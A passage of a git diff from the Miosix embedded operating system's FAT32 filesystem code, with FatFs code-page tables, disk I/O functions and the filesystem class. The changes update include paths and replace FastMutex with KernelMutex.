0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x0000, 0x2122, 0x0000, 0x203A, 0x0000, 0x00AF, 0x02DB, 0x0000, + 0x00A0, 0x0000, 0x00A2, 0x00A3, 0x00A4, 0x0000, 0x00A6, 0x00A7, + 0x00D8, 0x00A9, 0x0156, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, + 0x00B8, 0x00B9, 0x0157, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00E6, + 0x0104, 0x012E, 0x0100, 0x0106, 0x00C4, 0x00C5, 0x0118, 0x0112, + 0x010C, 0x00C9, 0x0179, 0x0116, 0x0122, 0x0136, 0x012A, 0x013B, + 0x0160, 0x0143, 0x0145, 0x00D3, 0x014C, 0x00D5, 0x00D6, 0x00D7, + 0x0172, 0x0141, 0x015A, 0x016A, 0x00DC, 0x017B, 0x017D, 0x00DF, + 0x0105, 0x012F, 0x0101, 0x0107, 0x00E4, 0x00E5, 0x0119, 0x0113, + 0x010D, 0x00E9, 0x017A, 0x0117, 0x0123, 0x0137, 0x012B, 0x013C, + 0x0161, 0x0144, 0x0146, 0x00F3, 0x014D, 0x00F5, 0x00F6, 0x00F7, + 0x0173, 0x014E, 0x015B, 0x016B, 0x00FC, 0x017C, 0x017E, 0x02D9 +}; + +#elif _CODE_PAGE == 1258 +#define _TBLDEF 1 +static +const WCHAR Tbl[] = { /* CP1258(0x80-0xFF) to Unicode conversion table */ + 0x20AC, 0x0000, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, + 0x02C6, 0x2030, 0x0000, 0x2039, 0x0152, 0x0000, 0x0000, 0x0000, + 0x0000, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, + 0x02DC, 0x2122, 0x0000, 0x203A, 0x0153, 0x0000, 0x0000, 0x0178, + 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, + 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, + 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + 0x00C0, 0x00C1, 0x00C2, 0x0102, 0x00C4, 0x00C5, 0x00C6, 0x00C7, + 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x0300, 0x00CD, 0x00CE, 0x00CF, + 0x0110, 0x00D1, 0x0309, 0x00D3, 0x00D4, 0x01A0, 0x00D6, 0x00D7, + 0x00D8, 0x00D9, 0x00DA, 0x00DB, 0x00DC, 0x01AF, 0x0303, 0x00DF, + 0x00E0, 0x00E1, 0x00E2, 0x0103, 0x00E4, 0x00E5, 0x00E6, 0x00E7, + 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x0301, 0x00ED, 0x00EE, 0x00EF, + 0x0111, 0x00F1, 0x0323, 0x00F3, 0x00F4, 0x01A1, 0x00F6, 0x00F7, + 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x01B0, 0x20AB, 0x00FF +}; + +#endif + + +#if !_TBLDEF || !_USE_LFN +#error This file is not needed in current configuration. Remove from the project. +#endif + + +WCHAR ff_convert ( /* Converted character, Returns zero on error */ + WCHAR chr, /* Character code to be converted */ + UINT dir /* 0: Unicode to OEMCP, 1: OEMCP to Unicode */ +) +{ + WCHAR c; + + + if (chr < 0x80) { /* ASCII */ + c = chr; + + } else { + if (dir) { /* OEMCP to Unicode */ + c = (chr >= 0x100) ? 0 : Tbl[chr - 0x80]; + + } else { /* Unicode to OEMCP */ + for (c = 0; c < 0x80; c++) { + if (chr == Tbl[c]) break; + } + c = (c + 0x80) & 0xFF; + } + } + + return c; +} + +#endif //WITH_FILESYSTEM + diff --git a/miosix/filesystem/fat32/diskio.cpp b/miosix/filesystem/fat32/diskio.cpp index 33fd9e17c..692ea1aeb 100644 --- a/miosix/filesystem/fat32/diskio.cpp +++ b/miosix/filesystem/fat32/diskio.cpp @@ -1,112 +1,112 @@ -/* - * Integration of FatFs filesystem module in Miosix by Terraneo Federico - * based on original files diskio.c and mmc.c by ChaN - */ - -#include "diskio.h" -#include "filesystem/ioctl.h" -#include "config/miosix_settings.h" - -#ifdef WITH_FILESYSTEM - -using namespace miosix; - -// #ifdef __cplusplus -// extern "C" { -// #endif - -///** -// * \internal -// * Initializes drive. -// */ -//DSTATUS disk_initialize ( -// intrusive_ref_ptr pdrv /* Physical drive nmuber (0..) */ -//) -//{ -// if(Disk::isAvailable()==false) return STA_NODISK; -// Disk::init(); -// if(Disk::isInitialized()) return RES_OK; -// else return STA_NOINIT; -//} - -///** -// * \internal -// * Return status of drive. -// */ -//DSTATUS disk_status ( -// intrusive_ref_ptr pdrv /* Physical drive nmuber (0..) */ -//) -//{ -// if(Disk::isInitialized()) return RES_OK; -// else return STA_NOINIT; -//} - -/** - * \internal - * Read one or more sectors from drive - */ -DRESULT disk_read ( - intrusive_ref_ptr pdrv, /* Physical drive nmuber (0..) */ - BYTE *buff, /* Data buffer to store read data */ - DWORD sector, /* Sector address (LBA) */ - UINT count /* Number of sectors to read (1..255) */ -) -{ - if(pdrv->lseek(static_cast(sector)*512,SEEK_SET)<0) return RES_ERROR; - if(pdrv->read(buff,count*512)!=static_cast(count)*512) return RES_ERROR; - return RES_OK; -} - -/** - * \internal - * Write one or more sectors to drive - */ -DRESULT disk_write ( - intrusive_ref_ptr pdrv, /* Physical drive nmuber (0..) */ - const BYTE *buff, /* Data to be written */ - DWORD sector, /* Sector address (LBA) */ - UINT count /* Number of sectors to write (1..255) */ -) -{ - if(pdrv->lseek(static_cast(sector)*512,SEEK_SET)<0) return RES_ERROR; - if(pdrv->write(buff,count*512)!=static_cast(count)*512) return RES_ERROR; - return RES_OK; -} - -/** - * \internal - * To perform disk functions other thar read/write - */ -DRESULT disk_ioctl ( - intrusive_ref_ptr pdrv, /* Physical drive nmuber (0..) */ - BYTE ctrl, /* Control code */ - void *buff /* Buffer to send/receive control data */ -) -{ - switch(ctrl) - { - case CTRL_SYNC: - if(pdrv->ioctl(IOCTL_SYNC,0)==0) return RES_OK; else return RES_ERROR; - case GET_SECTOR_COUNT: - return RES_ERROR; //unimplemented, so f_mkfs() does not work - case GET_BLOCK_SIZE: - return RES_ERROR; //unimplemented, so f_mkfs() does not work - default: - return RES_PARERR; - } -} - -/** - * \internal - * Return current time, used to save file creation time - */ - DWORD get_fattime() - { - return 0x210000;//TODO: this stub just returns date 01/01/1980 0.00.00 - } - -// #ifdef __cplusplus -// } -// #endif - -#endif //WITH_FILESYSTEM +/* + * Integration of FatFs filesystem module in Miosix by Terraneo Federico + * based on original files diskio.c and mmc.c by ChaN + */ + +#include "diskio.h" +#include "filesystem/ioctl.h" +#include "miosix_settings.h" + +#ifdef WITH_FILESYSTEM + +using namespace miosix; + +// #ifdef __cplusplus +// extern "C" { +// #endif + +///** +// * \internal +// * Initializes drive. +// */ +//DSTATUS disk_initialize ( +// intrusive_ref_ptr pdrv /* Physical drive nmuber (0..) */ +//) +//{ +// if(Disk::isAvailable()==false) return STA_NODISK; +// Disk::init(); +// if(Disk::isInitialized()) return RES_OK; +// else return STA_NOINIT; +//} + +///** +// * \internal +// * Return status of drive. +// */ +//DSTATUS disk_status ( +// intrusive_ref_ptr pdrv /* Physical drive nmuber (0..) */ +//) +//{ +// if(Disk::isInitialized()) return RES_OK; +// else return STA_NOINIT; +//} + +/** + * \internal + * Read one or more sectors from drive + */ +DRESULT disk_read ( + intrusive_ref_ptr pdrv, /* Physical drive nmuber (0..) */ + BYTE *buff, /* Data buffer to store read data */ + DWORD sector, /* Sector address (LBA) */ + UINT count /* Number of sectors to read (1..255) */ +) +{ + if(pdrv->lseek(static_cast(sector)*512,SEEK_SET)<0) return RES_ERROR; + if(pdrv->read(buff,count*512)!=static_cast(count)*512) return RES_ERROR; + return RES_OK; +} + +/** + * \internal + * Write one or more sectors to drive + */ +DRESULT disk_write ( + intrusive_ref_ptr pdrv, /* Physical drive nmuber (0..) */ + const BYTE *buff, /* Data to be written */ + DWORD sector, /* Sector address (LBA) */ + UINT count /* Number of sectors to write (1..255) */ +) +{ + if(pdrv->lseek(static_cast(sector)*512,SEEK_SET)<0) return RES_ERROR; + if(pdrv->write(buff,count*512)!=static_cast(count)*512) return RES_ERROR; + return RES_OK; +} + +/** + * \internal + * To perform disk functions other thar read/write + */ +DRESULT disk_ioctl ( + intrusive_ref_ptr pdrv, /* Physical drive nmuber (0..) */ + BYTE ctrl, /* Control code */ + void *buff /* Buffer to send/receive control data */ +) +{ + switch(ctrl) + { + case CTRL_SYNC: + if(pdrv->ioctl(IOCTL_SYNC,0)==0) return RES_OK; else return RES_ERROR; + case GET_SECTOR_COUNT: + return RES_ERROR; //unimplemented, so f_mkfs() does not work + case GET_BLOCK_SIZE: + return RES_ERROR; //unimplemented, so f_mkfs() does not work + default: + return RES_PARERR; + } +} + +/** + * \internal + * Return current time, used to save file creation time + */ + DWORD get_fattime() + { + return 0x210000;//TODO: this stub just returns date 01/01/1980 0.00.00 + } + +// #ifdef __cplusplus +// } +// #endif + +#endif //WITH_FILESYSTEM diff --git a/miosix/filesystem/fat32/diskio.h b/miosix/filesystem/fat32/diskio.h index 3eac19266..ce20540f5 100644 --- a/miosix/filesystem/fat32/diskio.h +++ b/miosix/filesystem/fat32/diskio.h @@ -1,97 +1,97 @@ -/*----------------------------------------------------------------------- -/ Low level disk interface modlue include file (C)ChaN, 2013 -/-----------------------------------------------------------------------*/ - -#ifndef _DISKIO_DEFINED -#define _DISKIO_DEFINED - -//#ifdef __cplusplus -//extern "C" { -//#endif - -#define _USE_WRITE 1 /* 1: Enable disk_write function */ -#define _USE_IOCTL 1 /* 1: Enable disk_ioctl fucntion */ - -#include "integer.h" -#include -#include "config/miosix_settings.h" - -#ifdef WITH_FILESYSTEM - - -/* Status of Disk Functions */ -typedef BYTE DSTATUS; - -/* Results of Disk Functions */ -typedef enum { - RES_OK = 0, /* 0: Successful */ - RES_ERROR, /* 1: R/W Error */ - RES_WRPRT, /* 2: Write Protected */ - RES_NOTRDY, /* 3: Not Ready */ - RES_PARERR /* 4: Invalid Parameter */ -} DRESULT; - - -/*---------------------------------------*/ -/* Prototypes for disk control functions */ - - -DSTATUS disk_initialize (miosix::intrusive_ref_ptr pdrv); -DSTATUS disk_status (miosix::intrusive_ref_ptr pdrv); -DRESULT disk_read (miosix::intrusive_ref_ptr pdrv, - BYTE*buff, DWORD sector, UINT count); -DRESULT disk_write (miosix::intrusive_ref_ptr pdrv, - const BYTE* buff, DWORD sector, UINT count); -DRESULT disk_ioctl (miosix::intrusive_ref_ptr pdrv, - BYTE cmd, void* buff); - - -/* Disk Status Bits (DSTATUS) */ -#define STA_NOINIT 0x01 /* Drive not initialized */ -#define STA_NODISK 0x02 /* No medium in the drive */ -#define STA_PROTECT 0x04 /* Write protected */ - - -/* Command code for disk_ioctrl fucntion */ - -/* Generic command (used by FatFs) */ -#define CTRL_SYNC 0 /* Flush disk cache (for write functions) */ -#define GET_SECTOR_COUNT 1 /* Get media size (for only f_mkfs()) */ -#define GET_SECTOR_SIZE 2 /* Get sector size (for multiple sector size (_MAX_SS >= 1024)) */ -#define GET_BLOCK_SIZE 3 /* Get erase block size (for only f_mkfs()) */ -#define CTRL_ERASE_SECTOR 4 /* Force erased a block of sectors (for only _USE_ERASE) */ - -/* Generic command (not used by FatFs) */ -#define CTRL_POWER 5 /* Get/Set power status */ -#define CTRL_LOCK 6 /* Lock/Unlock media removal */ -#define CTRL_EJECT 7 /* Eject media */ -#define CTRL_FORMAT 8 /* Create physical format on the media */ - -/* MMC/SDC specific ioctl command */ -#define MMC_GET_TYPE 10 /* Get card type */ -#define MMC_GET_CSD 11 /* Get CSD */ -#define MMC_GET_CID 12 /* Get CID */ -#define MMC_GET_OCR 13 /* Get OCR */ -#define MMC_GET_SDSTAT 14 /* Get SD status */ - -/* ATA/CF specific ioctl command */ -#define ATA_GET_REV 20 /* Get F/W revision */ -#define ATA_GET_MODEL 21 /* Get model name */ -#define ATA_GET_SN 22 /* Get serial number */ - - -/* MMC card type flags (MMC_GET_TYPE) */ -#define CT_MMC 0x01 /* MMC ver 3 */ -#define CT_SD1 0x02 /* SD ver 1 */ -#define CT_SD2 0x04 /* SD ver 2 */ -#define CT_SDC (CT_SD1|CT_SD2) /* SD */ -#define CT_BLOCK 0x08 /* Block addressing */ - -#endif //WITH_FILESYSTEM - - -//#ifdef __cplusplus -//} -//#endif - -#endif +/*----------------------------------------------------------------------- +/ Low level disk interface modlue include file (C)ChaN, 2013 +/-----------------------------------------------------------------------*/ + +#ifndef _DISKIO_DEFINED +#define _DISKIO_DEFINED + +//#ifdef __cplusplus +//extern "C" { +//#endif + +#define _USE_WRITE 1 /* 1: Enable disk_write function */ +#define _USE_IOCTL 1 /* 1: Enable disk_ioctl fucntion */ + +#include "integer.h" +#include +#include "miosix_settings.h" + +#ifdef WITH_FILESYSTEM + + +/* Status of Disk Functions */ +typedef BYTE DSTATUS; + +/* Results of Disk Functions */ +typedef enum { + RES_OK = 0, /* 0: Successful */ + RES_ERROR, /* 1: R/W Error */ + RES_WRPRT, /* 2: Write Protected */ + RES_NOTRDY, /* 3: Not Ready */ + RES_PARERR /* 4: Invalid Parameter */ +} DRESULT; + + +/*---------------------------------------*/ +/* Prototypes for disk control functions */ + + +DSTATUS disk_initialize (miosix::intrusive_ref_ptr pdrv); +DSTATUS disk_status (miosix::intrusive_ref_ptr pdrv); +DRESULT disk_read (miosix::intrusive_ref_ptr pdrv, + BYTE*buff, DWORD sector, UINT count); +DRESULT disk_write (miosix::intrusive_ref_ptr pdrv, + const BYTE* buff, DWORD sector, UINT count); +DRESULT disk_ioctl (miosix::intrusive_ref_ptr pdrv, + BYTE cmd, void* buff); + + +/* Disk Status Bits (DSTATUS) */ +#define STA_NOINIT 0x01 /* Drive not initialized */ +#define STA_NODISK 0x02 /* No medium in the drive */ +#define STA_PROTECT 0x04 /* Write protected */ + + +/* Command code for disk_ioctrl fucntion */ + +/* Generic command (used by FatFs) */ +#define CTRL_SYNC 0 /* Flush disk cache (for write functions) */ +#define GET_SECTOR_COUNT 1 /* Get media size (for only f_mkfs()) */ +#define GET_SECTOR_SIZE 2 /* Get sector size (for multiple sector size (_MAX_SS >= 1024)) */ +#define GET_BLOCK_SIZE 3 /* Get erase block size (for only f_mkfs()) */ +#define CTRL_ERASE_SECTOR 4 /* Force erased a block of sectors (for only _USE_ERASE) */ + +/* Generic command (not used by FatFs) */ +#define CTRL_POWER 5 /* Get/Set power status */ +#define CTRL_LOCK 6 /* Lock/Unlock media removal */ +#define CTRL_EJECT 7 /* Eject media */ +#define CTRL_FORMAT 8 /* Create physical format on the media */ + +/* MMC/SDC specific ioctl command */ +#define MMC_GET_TYPE 10 /* Get card type */ +#define MMC_GET_CSD 11 /* Get CSD */ +#define MMC_GET_CID 12 /* Get CID */ +#define MMC_GET_OCR 13 /* Get OCR */ +#define MMC_GET_SDSTAT 14 /* Get SD status */ + +/* ATA/CF specific ioctl command */ +#define ATA_GET_REV 20 /* Get F/W revision */ +#define ATA_GET_MODEL 21 /* Get model name */ +#define ATA_GET_SN 22 /* Get serial number */ + + +/* MMC card type flags (MMC_GET_TYPE) */ +#define CT_MMC 0x01 /* MMC ver 3 */ +#define CT_SD1 0x02 /* SD ver 1 */ +#define CT_SD2 0x04 /* SD ver 2 */ +#define CT_SDC (CT_SD1|CT_SD2) /* SD */ +#define CT_BLOCK 0x08 /* Block addressing */ + +#endif //WITH_FILESYSTEM + + +//#ifdef __cplusplus +//} +//#endif + +#endif diff --git a/miosix/filesystem/fat32/fat32.cpp b/miosix/filesystem/fat32/fat32.cpp index 47c3075e7..13784c854 100644 --- a/miosix/filesystem/fat32/fat32.cpp +++ b/miosix/filesystem/fat32/fat32.cpp @@ -89,7 +89,7 @@ class Fat32Directory : public DirectoryBase * \param currentInode inode value for '.' entry * \param parentInode inode value for '..' entry */ - Fat32Directory(intrusive_ref_ptr parent, FastMutex& mutex, + Fat32Directory(intrusive_ref_ptr parent, KernelMutex& mutex, int currentInode, int parentInode) : DirectoryBase(parent), mutex(mutex), currentInode(currentInode), parentInode(parentInode), first(true), unfinished(false) @@ -122,7 +122,7 @@ class Fat32Directory : public DirectoryBase virtual ~Fat32Directory(); private: - FastMutex& mutex; ///< Parent filesystem's mutex + KernelMutex& mutex; ///< Parent filesystem's mutex DIR_ dir; ///< Directory object FILINFO fi; ///< Information on a file int currentInode; ///< Inode of '.' @@ -143,7 +143,7 @@ int Fat32Directory::getdents(void *dp, int len) char *buffer=begin; char *end=buffer+len; - Lock l(mutex); + Lock l(mutex); if(first) { first=false; @@ -175,7 +175,7 @@ int Fat32Directory::getdents(void *dp, int len) Fat32Directory::~Fat32Directory() { - Lock l(mutex); + Lock l(mutex); f_closedir(&dir); } @@ -190,7 +190,7 @@ class Fat32File : public FileBase * \param parent the filesystem to which this file belongs * \param flags file open flags */ - Fat32File(intrusive_ref_ptr parent, int flags, FastMutex& mutex); + Fat32File(intrusive_ref_ptr parent, int flags, KernelMutex& mutex); /** * Write data to the file, if the file supports writing. @@ -259,7 +259,7 @@ class Fat32File : public FileBase private: FIL file; - FastMutex& mutex; + KernelMutex& mutex; int inode=0; /// Used to map FatFs behavior into POSIX. Variable is 0 as long as we seek /// within, contains by how many bytes we seeked past the end otherwise @@ -270,12 +270,12 @@ class Fat32File : public FileBase // class Fat32File // -Fat32File::Fat32File(intrusive_ref_ptr parent, int flags, FastMutex& mutex) +Fat32File::Fat32File(intrusive_ref_ptr parent, int flags, KernelMutex& mutex) : FileBase(parent,flags), mutex(mutex) {} ssize_t Fat32File::write(const void *data, size_t len) { - Lock l(mutex); + Lock l(mutex); unsigned int bytesWritten; //NOTE: if we lseek'd past the end, we f_lseek'd to the end and seekPastEnd //is >0. We need to handle this special case by filling the gap with zeros @@ -308,7 +308,7 @@ ssize_t Fat32File::write(const void *data, size_t len) ssize_t Fat32File::read(void *data, size_t len) { - Lock l(mutex); + Lock l(mutex); unsigned int bytesRead; //NOTE: if we lseek'd past the end, we f_lseek'd to the end and seekPastEnd //is >0. Either reading at the end or past the end shall return 0 (eof), so @@ -319,7 +319,7 @@ ssize_t Fat32File::read(void *data, size_t len) off_t Fat32File::lseek(off_t pos, int whence) { - Lock l(mutex); + Lock l(mutex); off_t offset, fileSize=static_cast(f_size(&file)); switch(whence) { @@ -356,7 +356,7 @@ off_t Fat32File::lseek(off_t pos, int whence) int Fat32File::ftruncate(off_t size) { - Lock l(mutex); + Lock l(mutex); off_t fileSize=static_cast(f_size(&file)); if(size==fileSize) return 0; //Nothing to do off_t curPos=static_cast(f_tell(&file))+seekPastEnd; @@ -396,13 +396,13 @@ int Fat32File::fstat(struct stat *pstat) const int Fat32File::ioctl(int cmd, void *arg) { if(cmd!=IOCTL_SYNC) return -ENOTTY; - Lock l(mutex); + Lock l(mutex); return translateError(f_sync(&file)); } Fat32File::~Fat32File() { - Lock l(mutex); + Lock l(mutex); if(inode) f_close(&file); //TODO: what to do with error code? } @@ -411,7 +411,7 @@ Fat32File::~Fat32File() // Fat32Fs::Fat32Fs(intrusive_ref_ptr disk) - : mutex(FastMutex::RECURSIVE), failed(true) + : mutex(MutexOptions::RECURSIVE), failed(true) { filesystem.drv=disk; failed=f_mount(&filesystem,1,false)!=FR_OK; @@ -450,7 +450,7 @@ int Fat32Fs::open(intrusive_ref_ptr& file, StringPart& name, else openflags|=FA_OPEN_EXISTING;//If not exists fail intrusive_ref_ptr f(new Fat32File(shared_from_this(),flags-1,mutex)); - Lock l(mutex); + Lock l(mutex); if(int res=translateError(f_open(&filesystem,f->fil(),name.c_str(),openflags))) return res; if(statFailed) @@ -490,7 +490,7 @@ int Fat32Fs::open(intrusive_ref_ptr& file, StringPart& name, intrusive_ref_ptr d( new Fat32Directory(shared_from_this(),mutex,st.st_ino,parentInode)); - Lock l(mutex); + Lock l(mutex); if(int res=translateError(f_opendir(&filesystem,d->directory(),name.c_str()))) return res; @@ -507,7 +507,7 @@ int Fat32Fs::lstat(StringPart& name, struct stat *pstat) pstat->st_nlink=1; pstat->st_blksize=512; - Lock l(mutex); + Lock l(mutex); if(name.empty()) { //We are asked to stat the filesystem's root directory @@ -546,14 +546,14 @@ int Fat32Fs::unlink(StringPart& name) int Fat32Fs::rename(StringPart& oldName, StringPart& newName) { if(failed) return -ENOENT; - Lock l(mutex); + Lock l(mutex); return translateError(f_rename(&filesystem,oldName.c_str(),newName.c_str())); } int Fat32Fs::mkdir(StringPart& name, int mode) { if(failed) return -ENOENT; - Lock l(mutex); + Lock l(mutex); return translateError(f_mkdir(&filesystem,name.c_str())); } @@ -573,7 +573,7 @@ Fat32Fs::~Fat32Fs() int Fat32Fs::unlinkRmdirHelper(StringPart& name, bool delDir) { if(failed) return -ENOENT; - Lock l(mutex); + Lock l(mutex); struct stat st; if(int result=lstat(name,&st)) return result; if(delDir) diff --git a/miosix/filesystem/fat32/fat32.h b/miosix/filesystem/fat32/fat32.h index 29e3819fc..1f0e0c5a7 100644 --- a/miosix/filesystem/fat32/fat32.h +++ b/miosix/filesystem/fat32/fat32.h @@ -31,7 +31,7 @@ #include "filesystem/file.h" #include "kernel/sync.h" #include "ff.h" -#include "config/miosix_settings.h" +#include "miosix_settings.h" namespace miosix { @@ -122,7 +122,7 @@ class Fat32Fs : public FilesystemBase int unlinkRmdirHelper(StringPart& name, bool delDir); FATFS filesystem; - FastMutex mutex; + KernelMutex mutex; bool failed; ///< Failed to mount }; diff --git a/miosix/filesystem/fat32/ff.cpp b/miosix/filesystem/fat32/ff.cpp index 54d4f7824..b5e7f200d 100644 --- a/miosix/filesystem/fat32/ff.cpp +++ b/miosix/filesystem/fat32/ff.cpp @@ -1,4617 +1,4617 @@ -/*----------------------------------------------------------------------------/ -/ FatFs - FAT file system module R0.10 (C)ChaN, 2013 -/-----------------------------------------------------------------------------/ -/ FatFs module is a generic FAT file system module for small embedded systems. -/ This is a free software that opened for education, research and commercial -/ developments under license policy of following terms. -/ -/ Copyright (C) 2013, ChaN, all right reserved. -/ -/ * The FatFs module is a free software and there is NO WARRANTY. -/ * No restriction on use. You can use, modify and redistribute it for -/ personal, non-profit or commercial products UNDER YOUR RESPONSIBILITY. -/ * Redistributions of source code must retain the above copyright notice. -/ -/-----------------------------------------------------------------------------/ -/ Feb 26,'06 R0.00 Prototype. -/ -/ Apr 29,'06 R0.01 First stable version. -/ -/ Jun 01,'06 R0.02 Added FAT12 support. -/ Removed unbuffered mode. -/ Fixed a problem on small (<32M) partition. -/ Jun 10,'06 R0.02a Added a configuration option (_FS_MINIMUM). -/ -/ Sep 22,'06 R0.03 Added f_rename(). -/ Changed option _FS_MINIMUM to _FS_MINIMIZE. -/ Dec 11,'06 R0.03a Improved cluster scan algorithm to write files fast. -/ Fixed f_mkdir() creates incorrect directory on FAT32. -/ -/ Feb 04,'07 R0.04 Supported multiple drive system. -/ Changed some interfaces for multiple drive system. -/ Changed f_mountdrv() to f_mount(). -/ Added f_mkfs(). -/ Apr 01,'07 R0.04a Supported multiple partitions on a physical drive. -/ Added a capability of extending file size to f_lseek(). -/ Added minimization level 3. -/ Fixed an endian sensitive code in f_mkfs(). -/ May 05,'07 R0.04b Added a configuration option _USE_NTFLAG. -/ Added FSINFO support. -/ Fixed DBCS name can result FR_INVALID_NAME. -/ Fixed short seek (<= csize) collapses the file object. -/ -/ Aug 25,'07 R0.05 Changed arguments of f_read(), f_write() and f_mkfs(). -/ Fixed f_mkfs() on FAT32 creates incorrect FSINFO. -/ Fixed f_mkdir() on FAT32 creates incorrect directory. -/ Feb 03,'08 R0.05a Added f_truncate() and f_utime(). -/ Fixed off by one error at FAT sub-type determination. -/ Fixed btr in f_read() can be mistruncated. -/ Fixed cached sector is not flushed when create and close without write. -/ -/ Apr 01,'08 R0.06 Added fputc(), fputs(), fprintf() and fgets(). -/ Improved performance of f_lseek() on moving to the same or following cluster. -/ -/ Apr 01,'09 R0.07 Merged Tiny-FatFs as a configuration option. (_FS_TINY) -/ Added long file name feature. -/ Added multiple code page feature. -/ Added re-entrancy for multitask operation. -/ Added auto cluster size selection to f_mkfs(). -/ Added rewind option to f_readdir(). -/ Changed result code of critical errors. -/ Renamed string functions to avoid name collision. -/ Apr 14,'09 R0.07a Separated out OS dependent code on reentrant cfg. -/ Added multiple sector size feature. -/ Jun 21,'09 R0.07c Fixed f_unlink() can return FR_OK on error. -/ Fixed wrong cache control in f_lseek(). -/ Added relative path feature. -/ Added f_chdir() and f_chdrive(). -/ Added proper case conversion to extended character. -/ Nov 03,'09 R0.07e Separated out configuration options from ff.h to ffconf.h. -/ Fixed f_unlink() fails to remove a sub-directory on _FS_RPATH. -/ Fixed name matching error on the 13 character boundary. -/ Added a configuration option, _LFN_UNICODE. -/ Changed f_readdir() to return the SFN with always upper case on non-LFN cfg. -/ -/ May 15,'10 R0.08 Added a memory configuration option. (_USE_LFN = 3) -/ Added file lock feature. (_FS_SHARE) -/ Added fast seek feature. (_USE_FASTSEEK) -/ Changed some types on the API, XCHAR->TCHAR. -/ Changed .fname in the FILINFO structure on Unicode cfg. -/ String functions support UTF-8 encoding files on Unicode cfg. -/ Aug 16,'10 R0.08a Added f_getcwd(). -/ Added sector erase feature. (_USE_ERASE) -/ Moved file lock semaphore table from fs object to the bss. -/ Fixed a wrong directory entry is created on non-LFN cfg when the given name contains ';'. -/ Fixed f_mkfs() creates wrong FAT32 volume. -/ Jan 15,'11 R0.08b Fast seek feature is also applied to f_read() and f_write(). -/ f_lseek() reports required table size on creating CLMP. -/ Extended format syntax of f_printf(). -/ Ignores duplicated directory separators in given path name. -/ -/ Sep 06,'11 R0.09 f_mkfs() supports multiple partition to complete the multiple partition feature. -/ Added f_fdisk(). -/ Aug 27,'12 R0.09a Changed f_open() and f_opendir() reject null object pointer to avoid crash. -/ Changed option name _FS_SHARE to _FS_LOCK. -/ Fixed assertion failure due to OS/2 EA on FAT12/16 volume. -/ Jan 24,'13 R0.09b Added f_setlabel() and f_getlabel(). -/ -/ Oct 02,'13 R0.10 Added selection of character encoding on the file. (_STRF_ENCODE) -/ Added f_closedir(). -/ Added forced full FAT scan for f_getfree(). (_FS_NOFSINFO) -/ Added forced mount feature with changes of f_mount(). -/ Improved behavior of volume auto detection. -/ Improved write throughput of f_puts() and f_printf(). -/ Changed argument of f_chdrive(), f_mkfs(), disk_read() and disk_write(). -/ Fixed f_write() can be truncated when the file size is close to 4GB. -/ Fixed f_open(), f_mkdir() and f_setlabel() can return incorrect error code. -/---------------------------------------------------------------------------*/ - -#include "ff.h" /* Declarations of FatFs API */ -#include "diskio.h" /* Declarations of disk I/O functions */ - -// Added by TFT -- begin -#include -#include -#include -#include -#include "config/miosix_settings.h" - -#ifdef WITH_FILESYSTEM - -/** - * FAT32 does not have the concept of inodes, but we need them. - * This code thus uses the sector # containing the directory entry and the - * index within the sector where the directory entry is located as inode. - * This code has the following limitations: - * - If _FS_RPATH is defined and INODE() is applied to the '.' and '..' - * entries, it returns inconsistent results. That's because for example the - * inode of '..' must be the same of the '.' inode of the parent directory, - * but these are in two different directories, so the sector # are different. - * This has been fixed by disabling _FS_RPATH and filling those entries - * manually. - * - It assumes that one sector is 512 byte, so that 16 directory entries fit - * in one sector. - * - If there are more than 2^32/16 sectors (filesystems > 128GByte) inodes - * are no longer unique! - * This code also guarantees not to ever return inode values of 0 and 1, as - * zero is an invalid inode, and 1 is reserved by the Fat32Fs code for the - * '.' entry of the root directory of the filesystem. If the algorithm for - * some reason, such as a >128GB filesystem would return 0 or 1, it always - * returns 2. - */ -#define INODE(x) ((x->sect<<4 | x->index % 16)<3) ? 2 : (x->sect<<4 | x->index % 16) -// Added by TFT -- end - - -/*-------------------------------------------------------------------------- - - Module Private Definitions - ----------------------------------------------------------------------------*/ - -#if _FATFS != 80960 /* Revision ID */ -#error Wrong include file (ff.h). -#endif - - -/* Definitions on sector size */ -#if _MAX_SS != 512 && _MAX_SS != 1024 && _MAX_SS != 2048 && _MAX_SS != 4096 -#error Wrong sector size. -#endif -#if _MAX_SS != 512 -#define SS(fs) ((fs)->ssize) /* Variable sector size */ -#else -#define SS(fs) 512U /* Fixed sector size */ -#endif - - -/* Reentrancy related */ -#if _FS_REENTRANT -#if _USE_LFN == 1 -#error Static LFN work area cannot be used at thread-safe configuration. -#endif -#define ENTER_FF(fs) { if (!lock_fs(fs)) return FR_TIMEOUT; } -#define LEAVE_FF(fs, res) { unlock_fs(fs, res); return res; } -#else -#define ENTER_FF(fs) -#define LEAVE_FF(fs, res) return res -#endif - -#define ABORT(fs, res) { fp->err = (BYTE)(res); LEAVE_FF(fs, res); } - - - - - - -/* DBCS code ranges and SBCS extend character conversion table */ - -#if _CODE_PAGE == 932 /* Japanese Shift-JIS */ -#define _DF1S 0x81 /* DBC 1st byte range 1 start */ -#define _DF1E 0x9F /* DBC 1st byte range 1 end */ -#define _DF2S 0xE0 /* DBC 1st byte range 2 start */ -#define _DF2E 0xFC /* DBC 1st byte range 2 end */ -#define _DS1S 0x40 /* DBC 2nd byte range 1 start */ -#define _DS1E 0x7E /* DBC 2nd byte range 1 end */ -#define _DS2S 0x80 /* DBC 2nd byte range 2 start */ -#define _DS2E 0xFC /* DBC 2nd byte range 2 end */ - -#elif _CODE_PAGE == 936 /* Simplified Chinese GBK */ -#define _DF1S 0x81 -#define _DF1E 0xFE -#define _DS1S 0x40 -#define _DS1E 